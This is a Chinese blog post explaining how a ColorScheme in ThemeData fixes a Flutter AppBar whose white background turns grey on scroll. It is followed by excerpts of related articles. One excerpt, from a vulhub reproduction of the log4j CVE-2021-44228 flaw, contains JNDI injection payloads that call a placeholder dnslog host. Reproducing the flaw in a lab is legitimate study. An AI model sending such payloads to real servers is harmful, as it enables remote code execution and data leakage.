flutter-解决AppBar背景色为白色带滚动时不生效的bug

embedded/2024/9/25 3:22:23/

作为初学flutter的小白来说,今天在模仿小米商城app的首页appbar的时候,遇到一个奇怪的问题,就是修改AppBar的backgroundColor,在首页上拉滚动时,设置的白色背景色不生效,背景色变成不是淡灰色,其他深色不影响,唯独白色不行,flutter版本:3.16.8

appbar背景色白色的bug

AppBar(
...
//barOpacity是一个0~1.0的透明度的变量,视频中确实到了1的,不用怀疑
backgroundColor: Colors.white.withOpacity(controller.barOpacity.value), 
elevation: 0,
...)

仔细观察,AppBar的背景色一旦设置为白色且无透明度,下拉的时候就会把白色变成浅灰色,即使不加入渐变透明度的逻辑,固定写死也没用,但是改成其他颜色如绿色红色什么的,又好像没问题,到底是什么问题呢?

这让我不得不怀疑这个是不是受到主题风格的影响,于是我搞老搞去,修改了ThemeData,一脸懵逼就把问题解决了,如下代码:

  theme: ThemeData(splashColor: Colors.transparent,highlightColor: Colors.transparent,//加入colorScheme既可以解决上面的问题colorScheme: const ColorScheme.light(primary: Colors.white,onPrimary: Colors.white,onBackground: Colors.white,secondary: Colors.white),),debugShowCheckedModeBanner: false,title: "shop+demo",

如果对你有用,点个赞支持下吧

如果你还有更深的理解,也请回复下你的理解。


http://www.ppmy.cn/embedded/29590.html

相关文章

MySQL第一次作业

解压完安装包 以管理员进入命令行 初始化并记住初始随机密码 创建服务名称 启动mysql 使用随机密码登录 修改密码 退出并重登服务器 MySQL创建数据库和表 创建数据库 创建表 1.进入数据库 创建表 向表中插入数据

ue引擎游戏开发笔记(26)——处理角色死亡敌人仍攻击bug

1.需求分析 对游戏中存在的各种小问题做细节处理,例如玩家在死亡后,敌人仍对着目标开炮,并且仍然触发爆炸效果。 2.操作实现 1.首先分析问题起因,是由于虽然玩家控制的小车被摧毁了,但控制器仍然存在,没有…

掌握技巧:Linux下通过命令查看系统时间

在Linux系统中,系统时间是至关重要的。程序员经常需要查看系统时间来进行调试、日志记录以及任务调度等操作。 虽然大多数Linux发行版都提供了图形化界面来查看系统时间,但是使用命令行来获取系统时间更加高效和便捷。 本文将介绍几种在Linux下通过命令…

Python面试十问

一、深浅拷贝的区别? 浅拷⻉: 拷⻉的是对象的引⽤,如果原对象改变,相应的拷⻉对象也会发⽣改变。 深拷⻉: 拷⻉对象中的每个元素,拷⻉对象和原有对象不在有关系,两个是独⽴的对象。 浅拷⻉(c…

VULHUB复现log4j反序列化漏洞-CVE-2021-44228

本地下载vulhub复现就完了,环境搭建不讲,网上其他文章很好。 访问该环境: POC 构造(任选其一): ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} ${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}我是…

C语言——操作符保姆级教学(含整形提升及算数转换)

操作符 一.操作符的分类二.原码、反码、补码三.移位操作符1.左移操作符&#xff1a;<<2.右移操作符&#xff1a;>> 四.位操作符1.按位与—— &2.按位或—— |3.按位异或—— ^4.按位取反—— ~ 五.逗号表达式六.条件操作符七.操作符的属性&#xff1a;优先级、…

事实、价值、秩序、无序与态势感知

一、事实、价值、秩序、无序与态势感知 事实是指客观存在的、可以被验证和证实的信息或情况。在认知过程中&#xff0c;事实是基础性的元素&#xff0c;它们构成了我们对世界的理解和认知基础。事实通常与客观现实相关联&#xff0c;而不受个人观点或情感的影响。 价值是指个体…

K8S哲学 - statefulSet 灰度发布

kubectl get - 获取资源及配置文件 kubectl get resource 【resourceName -oyaml】 kubectl create - 指定镜像创建或者 指定文件创建 kubectl create resource 【resourceName】 --imagemyImage 【-f my.yaml】 kubectl delete kubectl describe resource resourc…